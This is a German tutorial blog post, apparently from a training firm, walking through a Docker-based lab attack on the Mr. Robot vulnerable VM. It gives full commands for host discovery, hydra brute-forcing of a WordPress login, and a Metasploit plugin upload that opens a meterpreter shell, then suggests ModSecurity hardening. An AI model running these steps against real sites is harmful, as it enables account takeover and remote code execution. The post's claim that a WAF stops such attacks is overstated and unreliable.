Pentests mit Kali und Docker
Um sich in das Thema Penetrationstest einzuarbeiten, wird gerne eine Kombination aus der Pentest Linux Distribution Kali und einer mit Sicherheitslücken versehenen virtuellen Maschine (z.B. von vulnhub) verwendet.
Insbesondere im Kontext von Schulungen hat sich ein solches Setup als zu schwergewichtig erwiesen. Im Folgenden werden wir ein Angriffsszenario mit leichtgewichtigen Docker-Containern zeigen und diskutieren.
Container Setup
Zunächst erzeugen wir uns einen passenden Kali Container und ein separiertes Docker Netzwerk.
FROM kalilinux/kali-rolling
RUN apt update && apt upgrade -y
RUN DEBIAN_FRONTEND='noninteractive' apt install -y \
--no-install-recommends \
kali-linux-headless httpie iputils-ping && apt-get clean$ docker network create pentest
$ docker build -t kali .
$ docker run -it --rm --network pentest kali
┌──(root㉿midgard)-[/]
└─#Für den Prüfling orientieren wir uns an der Mr. Robot VM. Diese beinhaltet insbesondere eine schwach geschützte Wordpress Installation.
FROM scratch
ADD mrrobot.tar.xz /
CMD ["/start-wp.sh"]$ docker build -t mrrobot .
$ docker run -d --rm --network pentest mrrobotIP Adresse und offene Ports
Mit Netdiscover fangen wir ARP Pakete ab und entdecken - wenig überraschend - die IP-Adresse des Prüflings.
$ netdiscover -r 172.20.0.0/24
Currently scanning: Finished! ...
...
172.20.0.3 ...Anschliessend suchen wir mittels nmap die offenen Ports.
$ nmap 172.20.0.3
PORT STATE SERVICE
80/tcp open http
443/tcp open httpsWir haben es also mit einem ganz normalen Webserver zu tun.
Analyse der Web Ressourcen
Lassen wir nmap nach typischen Ressourcen suchen:
$ nmap 172.20.0.3 --script=http-enum
80/tcp open http
| http-enum:
| /admin/: Possible admin folder
| /admin/index.html: Possible admin folder
| /robots.txt: Robots file
| /readme.html: Wordpress version: 2
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|_ /readme.html: Interesting, a readme.
...Aha! Wir finden eine Wordpress Installation in einer veralteten Version 2.x.
Gibt robots.txt weitere Ressourcen preis?
$ http 172.20.0.3/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txtWir sehen eine Dictionary (!?) Datei! Das ist interessant! Die holen wir uns und sortieren ein wenig:
$ wget http://172.20.0.3/fsocity.dic
$ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
$ wc -l fsocity.dic
858160 fsocity.dic
$ sort fsocity.dic | uniq > fsocity_norm.dic
$ wc -l fsocity_norm.dic
11451 fsocity_norm.dicBrute Force Analyse
Einige der Einträge in fsocity_norm.dic sehen aus wie Account-Namen.
Mittels Hydra schauen wir zunächst, ob mit einem Dictionary-Eintrag ein Wordpress Login möglich ist:
$ hydra -vV -L fsocity_norm.dic -p abcde 172.20.0.3 \
http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
...
[80][http-post-form] host: 172.20.0.3 login: elliot password: abcde
...Erfolg! elliot ist ein Wordpress Account!
Nun müssen wir dessen Passwort finden. Vielleicht steht dies auch im Dictionary? (Alternativ kann man natürlich auch mit Standard-Passwort Listen arbeiten).
$ hydra -vV -l elliot -P fsocity_norm.dic \
172.20.0.3 http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
...
[80][http-post-form] host: 172.20.0.3 login: elliot password: ER28-0652
...Ergo: ER28-0652 ist Elliots Passwort!
Exploit verwenden
Einen Workpress Account zu hacken ist schon nicht schlecht. Wir können Elliots Daten einsehen.
Wir versuchen es weiter mit der Königklasse: Dem Öffnen einer Shell auf dem Zielsystem.
Um Exploits zu verwenden beinhaltet Kali das Exploit Framework Metasploit.
Der folgende Exploit installiert mit Userrechten ein Wordpress Plugin, das wiederum eine Shell öffnet:
$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
> show options
> set USERNAME elliot
> set PASSWORD ER28-0652
> set RHOST 172.20.0.3
> set WPCHECK false
> runMit dem Plugin wird eine Shell gestartet, die über eine TCP-Verbindung mittels meterpreter gesteuert werden kann.
Aus Bequemlichkeit wird zusätzlich mittels Python (das sich netterweise auf dem Zielsystem befindet) eine bash geöffnet.
meterpreter > shell
> Process 2138 created.
> Channel 1 created.
python -c 'import pty; pty.spawn("/bin/bash")'
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$Bingo! Wir können uns mit einem (vermutlich) System-nahen Nutzer daemon im Zielsystem umschauen, weitere Software nachladen, etc.
Vielleicht findet man sogar eine Lücke, um eine Root-Shell zu öffnen!
Das System absichern
Die erste Reaktion auf unser Ergebnis wird vermutlich darin liegen, die Wordpress Installation passend zu aktualisieren. Das nächste Exploit kommt bestimmt. Daher ist dies bestenfalls eine temporäre Lösung. Also: Wir müssen das System grundsätzlich absichern!
Eine Möglichkeit, das System abzusichern besteht darin, eine Web Application Firewall (WAF) zu verwenden. Dabei handelt es sich i.a. um einen passend erweiterten Web-Server (z.B. Apache, nginx).
ModSecurity ist eine solche WAF. Diese erweitert einen Webserver (Version 2: Apache (abgekündigt), Version 3: nginx) um Realtime Monitoring, Logging und Sicherung bzgl. des Regelwerkes OWASP ModSecurity Core Rule Set (CRS).
Ein Basis-Setup basierend auf Docker sei im Folgenden angedeutet:
FROM owasp/modsecurity:apache
COPY ./public-html/ .Die Web-Ressourcen müssen sich entsprechend vollumfänglich in public-html befinden.
$ docker build -t my-modsec .
$ docker run -p 8080:80 --network pentest my-modsecDamit sollte dem Öffnen von Shell-Kanälen, dem Ausspähen von Web-Ressourcen und vielen anderen Angriffsszenarien ein Riegel vorschoben sein!
Zu den Themen Sicherheit (und vielen anderen) bieten wir sowohl Beratung, Entwicklungsunterstützung als auch passende Schulungen an:
Auch für Ihren individuellen Bedarf können wir Workshops und Schulungen anbieten. Sprechen Sie uns gerne an.